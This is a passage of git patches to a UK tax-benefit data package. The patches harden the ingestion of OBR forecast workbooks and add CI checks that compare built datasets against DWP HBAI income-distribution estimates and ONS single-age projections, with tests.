  the TV licence target reads the "BBC licence fee receipts" row only.
- Ingest checks both workbooks and parses them in a staging folder before
  copying anything, and never replaces an ingested vintage.
- Coverage checks every workbook target, including one without the
  vintage.
- The NICs docstring no longer claims Class 3 or that partial results
  pass.

All 29 OBR targets are still identical to main's on the March bytes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 policyengine_uk_data/targets/obr_sources.py   | 141 ++++++++++++------
 policyengine_uk_data/targets/sources/obr.py   |  44 +++---
 .../tests/test_obr_sources.py                 |  87 +++++++++--
 3 files changed, 197 insertions(+), 75 deletions(-)

diff --git a/policyengine_uk_data/targets/obr_sources.py b/policyengine_uk_data/targets/obr_sources.py
index 4620e580..03afbbd9 100644
--- a/policyengine_uk_data/targets/obr_sources.py
+++ b/policyengine_uk_data/targets/obr_sources.py
@@ -36,7 +36,6 @@
 import hashlib
 import io
 import re
-import shutil
 import sys
 from dataclasses import dataclass
 from datetime import date
@@ -134,6 +133,8 @@ def parse_manifest(raw: Mapping, path: Optional[Path] = None) -> ObrManifest:
         raise SourceError(f"{where}: a required target is listed twice")
     if not required:
         raise SourceError(f"{where}: no required targets")
+    vintage, label = str(raw["vintage"]), str(raw["label"])
+    check_names(vintage, label, {kind: f.title for kind, f in files.items()}, where)
     return ObrManifest(
         vintage=str(raw["vintage"]),
         label=str(raw["label"]),
@@ -147,6 +148,28 @@ def parse_manifest(raw: Mapping, path: Optional[Path] = None) -> ObrManifest:
     )
 
 
+def check_names(vintage: str, label: str, titles: Mapping[str, str], where: str):
+    """The vintage, its label and each workbook's own title must agree.
+
+    ``march_2026`` must be labelled "March 2026", and each workbook titled
+    "March 2026 Economic and fiscal outlook ..." ending with its kind. The
+    title is read from the verified bytes, so the bytes decide the vintage.
+    """
+    if not re.fullmatch(r"[a-z]+_\d{4}", vintage):
+        raise SourceError(f"{where}: vintage must look like october_2026")
+    if label.lower().replace(" ", "_") != vintage:
+        raise SourceError(f"{where}: label {label!r} does not name vintage {vintage!r}")
+    for kind, title in titles.items():
+        lowered = title.strip().lower()
+        if not lowered.startswith(f"{label.lower()} economic and fiscal outlook") or (
+            not lowered.endswith(kind)
+        ):
+            raise SourceError(
+                f"{where}: the {kind} workbook is titled {title!r}, which is not "
+                f"the {label} EFO {kind} tables"
+            )
+
+
 def load_manifest(path) -> ObrManifest:
     path = Path(path)
     if not path.is_absolute():
@@ -266,8 +289,27 @@ def unit_scale(ws, unit: str) -> float:
     raise SourceError(f"{ws.title}: no {unit!r} unit label in rows 1-{_UNIT_ROWS}")
 
 
+# A row label giving its own unit, as table 4.19's "Standard colour licence
+# fee (£)" or "Number of UK households (m)" do under a "£ billion unless
+# otherwise stated" table.
+_ROW_UNIT = re.compile(
+    r"\(\s*(?:£|£m|£bn|£ ?million|£ ?billion|m|bn|million|thousands?|per cent|%|p|pence)\s*\)"
+    r"|\bper cent\b|%"
+)
+
+
 def read_row(ws, row: int, manifest: ObrManifest) -> dict:
-    """A table row's numeric values by year, in pounds."""
+    """A table row's numeric values by year, in pounds.
+
+    Refuses a row whose label states a unit of its own: the table's unit is
+    applied to every row read.
+    """
+    label = str(ws[f"B{row}"].value or "")
+    if _ROW_UNIT.search(label):
+        raise SourceError(
+            f"{ws.title}!B{row}: {label!r} states its own unit, not the table's "
+            f"{manifest.unit}"
+        )
     scale = unit_scale(ws, manifest.unit)
     out = {}
     for column, year in year_columns(
@@ -282,14 +324,18 @@ def read_row(ws, row: int, manifest: ObrManifest) -> dict:
 def coverage_problems(targets: Sequence, manifest: ObrManifest) -> list:
     """Everything wrong with the targets built from a vintage's workbooks.
 
-    Targets built from the workbooks are those carrying the vintage. Each
-    required target must be present with every year of the manifest; one
-    set of each ``any_of`` group must be present; and no workbook target
-    may be missing from the manifest, so the manifest stays the complete
-    list.
+    ``targets`` are all the targets the workbooks yielded. Each must carry
+    the manifest's vintage; each required target must be present with every
+    year of the manifest; one set of each ``any_of`` group must be present;
+    and no workbook target may be missing from the manifest, so the manifest
+    stays the complete list.
     """
-    built = {t.name: t for t in targets if t.forecast_vintage == manifest.vintage}
-    problems = []
+    built = {t.name: t for t in targets}
+    problems = [
+        f"{t.name} carries vintage {t.forecast_vintage!r}, not {manifest.vintage!r}"
+        for t in targets
+        if t.forecast_vintage != manifest.vintage
+    ]
     for name in manifest.required:
         if name not in built:
             problems.append(f"{name} was not built")
@@ -379,50 +425,51 @@ def ingest(
     manifest_dir: Optional[Path] = None,
     retrieved: Optional[str] = None,
 ):
-    """Adopt a vintage's two workbooks. Returns (manifest, manifest path, diff)."""
+    """Adopt a vintage's two workbooks. Returns (manifest, manifest path, diff).
+
+    Everything is checked in a staging folder first: both workbooks read
+    and carry the vintage's titles, and the build's parsers yield every
+    required target and year from them. Only then are the files copied
+    into storage and the manifest written. A vintage already in storage or
+    in the manifests folder is never replaced.
+    """
+    import tempfile
+
     from policyengine_uk_data.targets.sources import obr
 
     current = current or active_manifest()
-    storage = storage or _storage()
-    manifest_dir = manifest_dir or MANIFEST_DIR
+    storage = Path(storage or _storage())
+    manifest_dir = Path(manifest_dir or MANIFEST_DIR)
     retrieved = retrieved or f"ingested {date.today().isoformat()}"
-    if not re.fullmatch(r"[a-z]+_\d{4}", vintage):
-        raise SourceError("vintage must look like october_2026")
-    files = {}
+    destination = storage / "obr_efo" / vintage
+    path = manifest_dir / f"obr_{vintage}.yaml"
+    if destination.exists() or path.exists():
+        raise SourceError(
+            f"{vintage} is already ingested ({destination} or {path} exists); "
+            "remove it deliberately before ingesting again"
+        )
+    files, titles, data = {}, {}, {}
     for kind in KINDS:
-        data = Path(sources[kind]).read_bytes()
+        data[kind] = Path(sources[kind]).read_bytes()
         try:
-            wb = openpyxl.load_workbook(io.BytesIO(data), data_only=False)
+            wb = openpyxl.load_workbook(io.BytesIO(data[kind]), data_only=False)
         except Exception as error:
             raise SourceError(
                 f"{sources[kind]} is not an xlsx workbook ({type(error).__name__}: "
                 f"{error}); obr.uk serves an HTML page to scripted downloads, so "
                 "download the workbook in a browser"
             ) from error
-        title = workbook_title(wb)
-        if not title.startswith(
-            f"{label} Economic and fiscal outlook"
-        ) or not title.endswith(kind):
-            raise SourceError(
-                f"{sources[kind]} is titled {title!r}, which is not the {label} "
-                f"EFO {kind} tables"
-            )
-        relative = f"obr_efo/{vintage}/{kind}.xlsx"
-        target = storage / relative
-        target.parent.mkdir(parents=True, exist_ok=True)
-        shutil.copyfile(sources[kind], target)
+        titles[kind] = workbook_title(wb)
         files[kind] = SourceFile(
             kind=kind,
-            path=relative,
-            sha256=sha256_bytes(data),
-            size_bytes=len(data),
-            title=title,
+            path=f"obr_efo/{vintage}/{kind}.xlsx",
+            sha256=sha256_bytes(data[kind]),
+            size_bytes=len(data[kind]),
+            title=titles[kind],
             url=urls.get(kind, ""),
             retrieved=retrieved,
         )
-    alternatives_raw = [
-        [sorted(group) for group in groups] for groups in current.alternatives
-    ]
+    check_names(vintage, label, titles, "ingest")
     manifest = ObrManifest(
         vintage=vintage,
         label=label,
@@ -433,15 +480,23 @@ def ingest(
         required=current.required,
         alternatives=current.alternatives,
     )
-    try:
+    with tempfile.TemporaryDirectory() as staging:
+        staging = Path(staging)
+        for kind in KINDS:
+            staged = staging / files[kind].path
+            staged.parent.mkdir(parents=True, exist_ok=True)
+            staged.write_bytes(data[kind])
         # Raises unless the new workbooks yield every target and year required.
-        new = obr.workbook_targets(manifest, storage)
-    except Exception:
-        shutil.rmtree(storage / "obr_efo" / vintage, ignore_errors=True)
-        raise
+        new = obr.workbook_targets(manifest, staging)
     old = obr.workbook_targets(current)
-    path = Path(manifest_dir) / f"obr_{vintage}.yaml"
-    path.write_text(_manifest_yaml(manifest, alternatives_raw))
+    text = _manifest_yaml(
+        manifest,
+        [[sorted(group) for group in groups] for groups in current.alternatives],
+    )
+    destination.mkdir(parents=True)
+    for kind in KINDS:
+        (storage / files[kind].path).write_bytes(data[kind])
+    path.write_text(text)
     return load_manifest(path), path, target_diff(old, new)
 
 
diff --git a/policyengine_uk_data/targets/sources/obr.py b/policyengine_uk_data/targets/sources/obr.py
index 60f2be1d..a8ac8054 100644
--- a/policyengine_uk_data/targets/sources/obr.py
+++ b/policyengine_uk_data/targets/sources/obr.py
@@ -205,14 +205,13 @@ def _parse_nics(
 ) -> list[Target]:
     """Parse Table 3.4 (income tax and NICs detail) for all NIC classes.
 
-    Covers Class 1 employee and employer (PAYE), plus Classes 2, 3 and 4
-    (self-employed flat-rate, voluntary, and self-employed profit-based).
-    Omitting Classes 2/3/4 biased calibration by ~£2-5B/yr of NIC receipts
-    — the omission pushed self-employment income downward to compensate,
-    distorting reforms that touch SE income.
+    Covers Class 1 employee and employer (PAYE) and the self-employed
+    Classes 2 and 4, as one combined line or as separate rows. Class 3
+    (voluntary) is left out: no dataset populates ni_class_3 (#378).
 
     Where a row label is not found the parser logs a warning and skips that
-    variable, so partial matches still produce useful targets.
+    variable; the manifest's required targets then fail the build unless one
+    of the self-employed alternatives was found.
     """
     manifest = manifest or active_manifest()
     vintage, ref = manifest.vintage, manifest.files["receipts"].url
@@ -447,23 +446,22 @@ def _parse_tv_licence(
 
     try:
         ws = wb["4.19"]
-        # Find "Licence fee receipts" or "BBC licence fee"
-        for row_num in range(1, 30):
-            val = ws[f"B{row_num}"].value
-            if val and "licence fee" in str(val).lower():
-                values = read_row(ws, row_num, manifest)
-                if values:
-                    return [
-                        Target(
-                            name="obr/tv_licence_fee",
-                            variable="tv_licence",
-                            source="obr",
-                            unit=Unit.GBP,
-                            values=values,
-                            reference_url=ref,
-                            forecast_vintage=vintage,
-                        )
-                    ]
+        # The receipts row only: neighbouring rows such as "Standard colour
+        # licence fee (£)" share the words but not the unit.
+        row_num = _find_row(ws, "BBC licence fee receipts", max_row=30)
+        values = read_row(ws, row_num, manifest)
+        if values:
+            return [
+                Target(
+                    name="obr/tv_licence_fee",
+                    variable="tv_licence",
+                    source="obr",
+                    unit=Unit.GBP,
+                    values=values,
+                    reference_url=ref,
+                    forecast_vintage=vintage,
+                )
+            ]
     except (KeyError, ValueError):
         logger.warning("OBR: TV licence table not found")
 
diff --git a/policyengine_uk_data/tests/test_obr_sources.py b/policyengine_uk_data/tests/test_obr_sources.py
index 80ae2967..d541befc 100644
--- a/policyengine_uk_data/tests/test_obr_sources.py
+++ b/policyengine_uk_data/tests/test_obr_sources.py
@@ -62,7 +62,7 @@ def test_the_build_reads_the_manifest_files_and_names_their_vintage():
     built = [t for t in targets if t.forecast_vintage == MANIFEST.vintage]
     assert len(built) == 25
     assert {t.reference_url for t in built} == {f.url for f in MANIFEST.files.values()}
-    check_coverage(targets, MANIFEST)
+    check_coverage(built, MANIFEST)
 
 
 @settings(
@@ -289,7 +289,7 @@ def test_a_target_missing_from_the_manifest_fails(march_targets):
 
 def _sources(tmp_path):
     src = tmp_path / "downloads"
-    src.mkdir()
+    src.mkdir(exist_ok=True)
     out = {}
     for kind, entry in MANIFEST.files.items():
         out[kind] = src / f"{kind}.xlsx"
@@ -300,7 +300,7 @@ def _sources(tmp_path):
 def _ingest(tmp_path, **overrides):
     (tmp_path / "manifests").mkdir(exist_ok=True)
     arguments = dict(
-        vintage="copy_2026",
+        vintage="march_2026",
         label="March 2026",
         sources=overrides.pop("sources", None) or _sources(tmp_path),
         urls={k: f.url for k, f in MANIFEST.files.items()},
@@ -317,29 +317,32 @@ def _ingest(tmp_path, **overrides):
 
 def test_ingesting_the_same_workbooks_reproduces_the_targets(tmp_path, march_targets):
     manifest, path, diff = _ingest(tmp_path)
-    assert path.name == "obr_copy_2026.yaml"
-    assert manifest.vintage == "copy_2026"
+    assert path.name == "obr_march_2026.yaml"
+    assert manifest.vintage == "march_2026"
     assert {k: f.sha256 for k, f in manifest.files.items()} == {
         k: f.sha256 for k, f in MANIFEST.files.items()
     }
-    assert manifest.files["receipts"].path == "obr_efo/copy_2026/receipts.xlsx"
+    assert manifest.files["receipts"].path == "obr_efo/march_2026/receipts.xlsx"
     assert diff and all(row["old"] == row["new"] for row in diff)
     again = obr.workbook_targets(manifest, tmp_path / "storage")
     assert {t.name: t.values for t in again} == {
         t.name: t.values for t in march_targets
     }
-    assert {t.forecast_vintage for t in again} == {"copy_2026"}
+    assert {t.forecast_vintage for t in again} == {"march_2026"}
 
 
 def test_ingest_refuses_a_workbook_that_does_not_name_the_vintage(tmp_path):
+    """Sol review of #592, P1: March bytes cannot be adopted as October."""
     with pytest.raises(SourceError, match="not the October 2026 EFO receipts"):
-        _ingest(tmp_path, label="October 2026")
+        _ingest(tmp_path, vintage="october_2026", label="October 2026")
+    with pytest.raises(SourceError, match="does not name vintage"):
+        _ingest(tmp_path, vintage="october_2026", label="March 2026")
 
 
 def test_ingest_refuses_years_the_tables_do_not_head_and_keeps_nothing(tmp_path):
     with pytest.raises(SourceError, match="the manifest declares 2025 to 2031"):
         _ingest(tmp_path, first_year=2025, last_year=2031)
-    assert not (tmp_path / "storage" / "obr_efo" / "copy_2026").exists()
+    assert not (tmp_path / "storage" / "obr_efo" / "march_2026").exists()
     assert not list((tmp_path / "manifests").iterdir())
 
 
@@ -383,3 +386,69 @@ def test_a_bad_hash_in_the_manifest_is_refused():
     raw["files"]["receipts"]["sha256"] = "abc"
     with pytest.raises(SourceError, match="64 hex"):
         parse_manifest(raw)
+
+
+def test_a_manifest_cannot_relabel_verified_bytes():
+    """Sol review of #592, P1: the vintage, label and titles must agree."""
+    import yaml
+
+    raw = yaml.safe_load(MANIFEST.path.read_text())
+    raw.update(vintage="october_2026", label="October 2026")
+    with pytest.raises(SourceError, match="not the October 2026 EFO"):
+        parse_manifest(raw)
+    raw = yaml.safe_load(MANIFEST.path.read_text())
+    raw.update(label="October 2026")
+    with pytest.raises(SourceError, match="does not name vintage"):
+        parse_manifest(raw)
+
+
+def test_a_row_stating_its_own_unit_is_refused():
+    """Sol review of #592, P1: "£ billion unless otherwise stated" tables."""
+    expenditure = load_workbook("expenditure")
+    ws = expenditure["4.19"]
+    row = obr._find_row(ws, "Standard colour licence fee (£)", max_row=30)
+    with pytest.raises(SourceError, match="states its own unit"):
+        read_row(ws, row, MANIFEST)
+    # A renamed receipts row no longer falls through to the fee row.
+    ws[f"B{obr._find_row(ws, 'BBC licence fee receipts', max_row=30)}"] = (
+        "BBC television licensing receipts"
+    )
+    receipts = load_workbook("receipts")
+    problems = coverage_problems(_workbook_targets(receipts, expenditure), MANIFEST)
+    assert problems == ["obr/tv_licence_fee was not built"]
+
+
+def test_ingest_never_replaces_an_ingested_vintage(tmp_path):
+    """Sol review of #592, P2: a retry cannot delete an adopted vintage."""
+    _ingest(tmp_path)
+    kept = (
+        tmp_path / "storage" / "obr_efo" / "march_2026" / "receipts.xlsx"
+    ).read_bytes()
+    with pytest.raises(SourceError, match="already ingested"):
+        _ingest(tmp_path, first_year=2025, last_year=2031)
+    assert (
+        tmp_path / "storage" / "obr_efo" / "march_2026" / "receipts.xlsx"
+    ).read_bytes() == kept
+    assert (tmp_path / "manifests" / "obr_march_2026.yaml").exists()
+
+
+def test_ingest_checks_both_workbooks_before_copying_either(tmp_path):
+    sources = _sources(tmp_path)
+    sources["expenditure"].write_bytes(b"not a workbook")
+    with pytest.raises(SourceError, match="not an xlsx workbook"):
+        _ingest(tmp_path, sources=sources)
+    assert not (tmp_path / "storage").exists()
+
+
+def test_a_workbook_target_without_the_vintage_fails_coverage(march_targets):
+    """Sol review of #592, P2: an unversioned target cannot skip the checks."""
+    extra = march_targets[0].model_copy(
+        update={
+            "name": "obr/unversioned",
+            "forecast_vintage": None,
+            "values": {2024: 1.0},
+        }
+    )
+    problems = coverage_problems(list(march_targets) + [extra], MANIFEST)
+    assert "obr/unversioned carries vintage None, not 'march_2026'" in problems
+    assert "obr/unversioned was built but is not in the manifest" in problems

From 594c044f9fb927bde30c106b3afcd397bf3a70db Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 08:02:54 -0400
Subject: [PATCH 21/76] Measure each build's HBAI distribution and single ages
 against its base

Calibration fits grouped targets; these checks measure what the groups
hide, on the built dataset. Each PR build and its base build report
person-weighted equivalised income medians, means and Gini, and relative
low income for everyone, children, working-age adults and pensioners,
against DWP's HBAI FYE 2025 estimates and 95% intervals (tables 8a and
8b, read from the published ODS files), at period 2024. They also report
people by sex and single year of age against the ONS 2024-based
projection at the calibration year. The comparison job adds them to the
PR comment and flags a measure that leaves its interval; it fails only on
a broken or mismatched report until the same-code spread is measured
(#598).

On uk-data 1.58.1, 5 of 14 HBAI measures are outside their intervals
(median AHC, both Gini coefficients, child low income BHC and AHC), and
single ages 0 to 79 are off by 19.5% on average.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .github/workflows/pull_request.yaml           |  38 ++
 changelog.d/distribution-checks.added.md      |   1 +
 .../targets/reference_data/hbai_fye_2025.yaml |  27 ++
 .../tests/test_distribution_validation.py     | 162 ++++++++
 policyengine_uk_data/tests/test_fit_report.py |   6 +-
 .../utils/distribution_validation.py          | 377 ++++++++++++++++++
 6 files changed, 609 insertions(+), 2 deletions(-)
 create mode 100644 changelog.d/distribution-checks.added.md
 create mode 100644 policyengine_uk_data/targets/reference_data/hbai_fye_2025.yaml
 create mode 100644 policyengine_uk_data/tests/test_distribution_validation.py
 create mode 100644 policyengine_uk_data/utils/distribution_validation.py

diff --git a/.github/workflows/pull_request.yaml b/.github/workflows/pull_request.yaml
index 4b035dc3..c1a63b81 100644
--- a/.github/workflows/pull_request.yaml
+++ b/.github/workflows/pull_request.yaml
@@ -86,6 +86,13 @@ jobs:
         run: uv run --frozen make data
         env:
           TESTING: "1"
+      - name: Measure the income distribution and single ages
+        run: uv run --frozen python -m policyengine_uk_data.utils.distribution_validation measure policyengine_uk_data/storage/enhanced_frs_2024_25.h5 --out distribution_report.json
+      - name: Save the distribution report
+        uses: actions/upload-artifact@v7
+        with:
+          name: distribution_report.json
+          path: distribution_report.json
       - name: Save calibration log (constituencies)
         uses: actions/upload-artifact@v7
         with:
@@ -150,6 +157,19 @@ jobs:
         with:
           name: base_constituency_calibration_log.csv
           path: base/constituency_calibration_log.csv
+      - name: Measure the base's income distribution and single ages
+        working-directory: base
+        # The head's measurement code, on the base's build.
+        run: |
+          mkdir -p policyengine_uk_data/targets/reference_data
+          cp ../head/policyengine_uk_data/utils/distribution_validation.py policyengine_uk_data/utils/
+          cp ../head/policyengine_uk_data/targets/reference_data/hbai_fye_2025.yaml policyengine_uk_data/targets/reference_data/
+          uv run --frozen python -m policyengine_uk_data.utils.distribution_validation measure policyengine_uk_data/storage/enhanced_frs_2024_25.h5 --out ../base_distribution_report.json
+      - name: Save the base distribution report
+        uses: actions/upload-artifact@v7
+        with:
+          name: base_distribution_report.json
+          path: base_distribution_report.json
   fit-comparison:
     name: Calibration fit against the base
     needs: [test, base-build]
@@ -183,6 +203,13 @@ jobs:
         with:
           name: base_constituency_calibration_log.csv
           path: logs/base
+      - name: Download the distribution reports
+        uses: actions/download-artifact@v8
+        continue-on-error: true
+        with:
+          pattern: "*distribution_report.json"
+          path: reports
+          merge-multiple: true
       - name: Compare the final fits
         id: compare
         env:
@@ -206,6 +233,17 @@ jobs:
             set -e
             { echo "$marker"; cat body.md 2>/dev/null || echo '## Calibration fit against the base build: FAIL'; echo; echo "[Workflow run]($RUN_URL)"; } > fit.md
           fi
+          if [ -f reports/base_distribution_report.json ] && [ -f reports/distribution_report.json ]; then
+            set +e
+            uv run --frozen python -m policyengine_uk_data.utils.distribution_validation compare \
+              reports/base_distribution_report.json reports/distribution_report.json --markdown distribution.md
+            distribution_status=$?
+            set -e
+            { echo; cat distribution.md; } >> fit.md
+            if [ "$distribution_status" != 0 ]; then echo "status=1" >> "$GITHUB_OUTPUT"; fi
+          else
+            { echo; echo "The income distribution and single-age reports are missing for one build."; } >> fit.md
+          fi
           cat fit.md >> "$GITHUB_STEP_SUMMARY"
       - name: Post or update the pull request comment
         if: ${{ !cancelled() && github.event.pull_request.head.repo.full_name == github.repository }}
diff --git a/changelog.d/distribution-checks.added.md b/changelog.d/distribution-checks.added.md
new file mode 100644
index 00000000..5077bf91
--- /dev/null
+++ b/changelog.d/distribution-checks.added.md
@@ -0,0 +1 @@
+Measure each pull request build's HBAI income distribution (medians, means, Gini and relative low income by group against DWP's HBAI FYE 2025 estimates and intervals) and single-age population (against the ONS 2024-based projection), and report them against the base build in the pull request comment. They flag but do not fail yet.
diff --git a/policyengine_uk_data/targets/reference_data/hbai_fye_2025.yaml b/policyengine_uk_data/targets/reference_data/hbai_fye_2025.yaml
new file mode 100644
index 00000000..c209ab76
--- /dev/null
+++ b/policyengine_uk_data/targets/reference_data/hbai_fye_2025.yaml
@@ -0,0 +1,27 @@
+# Households below average income, FYE 2025 (DWP, 26 March 2026), from the
+# published data tables:
+# https://assets.publishing.service.gov.uk/media/69c2902a7e02b81c0d1c7762/hbai-data_tables-2025.zip
+# uncertainty-hbai-2024-25-tables.ods, tables 8a (medians, means, Gini) and
+# 8b (low income), read on 15 October 2026. Estimates and 95% confidence
+# intervals for the United Kingdom, FRS 2024/25, which policyengine-uk models
+# as period 2024. Incomes are equivalised, in £ a week at 2024/25 prices;
+# rates and Gini coefficients are per cent.
+schema_version: 1
+source: DWP Households below average income FYE 2025
+period: 2024
+measures:
+  median_bhc: {estimate: 719.481062, low: 703.567322, high: 735.575892, table: 8a}
+  median_ahc: {estimate: 623.144059, low: 605.209749, high: 637.071794, table: 8a}
+  mean_bhc: {estimate: 854.979494, low: 836.367495, high: 870.351587, table: 8a}
+  mean_ahc: {estimate: 749.82155, low: 732.329379, high: 764.496483, table: 8a}
+  gini_bhc: {estimate: 32.736632, low: 31.889881, high: 33.978308, table: 8a}
+  gini_ahc: {estimate: 36.780956, low: 35.897706, high: 38.293054, table: 8a}
+  # Percentage of individuals below 60% of the relative median.
+  relative_low_income_bhc_all: {estimate: 15.911572, low: 14.446526, high: 17.637657, table: 8b}
+  relative_low_income_bhc_children: {estimate: 20.519181, low: 17.356404, high: 23.955585, table: 8b}
+  relative_low_income_bhc_working_age: {estimate: 14.281508, low: 12.908347, high: 16.018814, table: 8b}
+  relative_low_income_bhc_pensioners: {estimate: 15.895071, low: 13.690455, high: 17.991754, table: 8b}
+  relative_low_income_ahc_all: {estimate: 19.640844, low: 17.9939, high: 21.271606, table: 8b}
+  relative_low_income_ahc_children: {estimate: 27.41076, low: 23.49369, high: 30.644085, table: 8b}
+  relative_low_income_ahc_working_age: {estimate: 18.579734, low: 17.012601, high: 20.343162, table: 8b}
+  relative_low_income_ahc_pensioners: {estimate: 13.866371, low: 11.618244, high: 15.898207, table: 8b}
diff --git a/policyengine_uk_data/tests/test_distribution_validation.py b/policyengine_uk_data/tests/test_distribution_validation.py
new file mode 100644
index 00000000..3c86db33
--- /dev/null
+++ b/policyengine_uk_data/tests/test_distribution_validation.py
@@ -0,0 +1,162 @@
+"""Single-age and HBAI distribution checks (utils/distribution_validation.py)."""
+
+import numpy as np
+import pytest
+from hypothesis import given, settings
+from hypothesis import strategies as st
+
+from policyengine_uk_data.utils.distribution_validation import (
+    SCHEMA,
+    TOP_AGE_BAND,
+    compare,
+    hbai_measures,
+    load_hbai_reference,
+    render,
+    single_ages,
+    summarise_single_ages,
+    weighted_gini,
+    weighted_median,
+)
+
+samples = st.lists(
+    st.tuples(st.floats(-1e4, 1e5, allow_nan=False), st.integers(1, 5)),
+    min_size=1,
+    max_size=40,
+)
+
+
+def _expand(pairs):
+    return np.repeat([v for v, _ in pairs], [w for _, w in pairs]).astype(float)
+
+
+@settings(max_examples=300, deadline=None)
+@given(pairs=samples)
+def test_weighted_median_equals_the_median_of_the_expanded_sample(pairs):
+    """Differential: integer weights are repeated records."""
+    values = np.array([v for v, _ in pairs])
+    weights = np.array([w for _, w in pairs], float)
+    expanded = np.sort(_expand(pairs))
+    # The lower median of the expanded sample.
+    lower = expanded[(len(expanded) - 1) // 2]
+    upper = expanded[len(expanded) // 2]
+    assert lower <= weighted_median(values, weights) <= upper
+    # Scaling every weight leaves it unchanged.
+    assert weighted_median(values, weights * 7.5) == weighted_median(values, weights)
+
+
+@settings(max_examples=300, deadline=None)
+@given(
+    pairs=st.lists(
+        st.tuples(st.floats(0.01, 1e5), st.integers(1, 5)), min_size=2, max_size=40
+    )
+)
+def test_weighted_gini_equals_the_mean_difference_gini_of_the_expanded_sample(pairs):
+    expanded = _expand(pairs)
+    n = len(expanded)
+    mean_difference = np.abs(expanded[:, None] - expanded[None, :]).sum() / (n * n)
+    reference = mean_difference / (2 * expanded.mean())
+    values = np.array([v for v, _ in pairs])
+    weights = np.array([w for _, w in pairs], float)
+    assert weighted_gini(values, weights) == pytest.approx(reference, abs=1e-9)
+
+
+def test_gini_of_equal_incomes_is_zero():
+    assert weighted_gini([5.0, 5.0, 5.0], [1, 2, 3]) == pytest.approx(0)
+
+
+def test_hbai_measures_on_a_known_population():
+    income = np.array([100.0, 200.0, 300.0, 400.0, 1000.0])
+    weights = np.ones(5)
+    child = np.array([1, 0, 0, 0, 0], bool)
+    pensioner = np.array([0, 0, 0, 0, 1], bool)
+    m = hbai_measures(income, income - 50, weights, child, pensioner)
+    assert m["median_bhc"] == 300.0
+    assert m["mean_bhc"] == 400.0
+    # Below 60% of 300: 100 only, a child.
+    assert m["relative_low_income_bhc_all"] == pytest.approx(20.0)
+    assert m["relative_low_income_bhc_children"] == pytest.approx(100.0)
+    assert m["relative_low_income_bhc_working_age"] == pytest.approx(0.0)
+    assert m["relative_low_income_bhc_pensioners"] == pytest.approx(0.0)
+
+
+def test_the_hbai_reference_is_the_published_table():
+    """Spot values from DWP HBAI FYE 2025, tables 8a and 8b."""
+    ref = load_hbai_reference()
+    assert ref["period"] == 2024
+    m = ref["measures"]
+    assert m["median_bhc"]["estimate"] == pytest.approx(719.481062)
+    assert m["median_ahc"]["estimate"] == pytest.approx(623.144059)
+    assert m["relative_low_income_ahc_children"]["estimate"] == pytest.approx(27.41076)
+    assert len(m) == 14
+
+
+def test_single_ages_band_the_oldest_and_split_by_sex():
+    age = np.array([0, 0, 79, 80, 85, 90])
+    male = np.array([1, 0, 1, 1, 0, 1], bool)
+    weights = np.array([2.0, 3.0, 1.0, 1.0, 4.0, 5.0])
+    reference = {
+        (s, a): 1.0 for s in ("male", "female") for a in range(TOP_AGE_BAND + 1)
+    }
+    rows = single_ages(age, male, weights, reference)
+    assert rows["male"]["0"]["value"] == 2.0 and rows["female"]["0"]["value"] == 3.0
+    assert rows["male"]["80"]["value"] == 6.0 and rows["female"]["80"]["value"] == 4.0
+    summary = summarise_single_ages(rows)
+    assert summary["error_80_plus"] == {"male": 5.0, "female": 3.0}
+
+
+def _report(**hbai_values):
+    ref = load_hbai_reference()["measures"]
+    hbai = {}
+    for name, r in ref.items():
+        value = hbai_values.get(name, r["estimate"])
+        hbai[name] = {
+            "value": value,
+            "reference": r["estimate"],
+            "low": r["low"],
+            "high": r["high"],
+            "inside": r["low"] <= value <= r["high"],
+        }
+    single = {
+        "mean_abs_error_0_79": 0.2,
+        "max_abs_error_0_79": 0.9,
+        "max_abs_error_15_19": 0.6,
+        "error_80_plus": {"male": 0.0, "female": 0.0},
+    }
+    return {
+        "schema": SCHEMA,
+        "periods": {"hbai": 2024, "single_age": 2025},
+        "hbai": hbai,
+        "summary": {"single_age": single},
+    }
+
+
+def test_compare_flags_a_measure_that_leaves_its_interval_but_does_not_fail():
+    result = compare(_report(), _report(median_bhc=760.0))
+    assert result["status"] == "pass"
+    assert result["flags"] == [
+        "HBAI median_bhc leaves its 95% interval: 719.48 -> 760.00 (HBAI 719.48, 703.57 to 735.58)."
+    ]
+    text = render(result)
+    assert "760.00 (outside)" in text and "do not fail yet" in text
+
+
+def test_compare_with_itself_passes_with_no_flags():
+    result = compare(_report(), _report())
+    assert result["status"] == "pass" and result["flags"] == []
+    assert all(r["further_from_reference"] == 0 for r in result["rows"])
+
+
+@pytest.mark.parametrize(
+    "change, message",
+    [
+        (lambda r: r.update(schema="other"), "malformed"),
+        (lambda r: r["periods"].update(hbai=2025), "different periods"),
+        (lambda r: r["hbai"]["median_bhc"].update(value=float("nan")), "not finite"),
+    ],
+)
+def test_compare_fails_on_a_broken_or_mismatched_report(change, message):
+    head = _report()
+    change(head)
+    result = compare(_report(), head)
+    assert result["status"] == "fail"
+    assert any(message in f for f in result["failures"])
diff --git a/policyengine_uk_data/tests/test_fit_report.py b/policyengine_uk_data/tests/test_fit_report.py
index 276540e2..21ccf262 100644
--- a/policyengine_uk_data/tests/test_fit_report.py
+++ b/policyengine_uk_data/tests/test_fit_report.py
@@ -83,7 +83,7 @@ def test_builds_of_different_epochs_cannot_be_compared():
     assert "saves the final epoch" in result["notes"][0]
 
 
-def test_the_pull_request_workflow_uploads_only_calibration_logs():
+def test_the_pull_request_workflow_uploads_only_aggregate_reports():
     """The datasets are licensed microdata: no job may upload or cache one."""
     from pathlib import Path
 
@@ -98,7 +98,9 @@ def test_the_pull_request_workflow_uploads_only_calibration_logs():
             assert not uses.startswith("actions/cache"), step
             if uses.startswith("actions/upload-artifact"):
                 uploads.append(step["with"]["path"])
-    assert uploads and all(p.endswith("calibration_log.csv") for p in uploads), uploads
+    assert uploads and all(
+        p.endswith(("calibration_log.csv", "distribution_report.json")) for p in uploads
+    ), uploads
     assert jobs["fit-comparison"]["needs"] == ["test", "base-build"]
 
 
diff --git a/policyengine_uk_data/utils/distribution_validation.py b/policyengine_uk_data/utils/distribution_validation.py
new file mode 100644
index 00000000..f6f1dae8
--- /dev/null
+++ b/policyengine_uk_data/utils/distribution_validation.py
@@ -0,0 +1,377 @@
+"""Single-age population and HBAI income distribution of a built dataset.
+
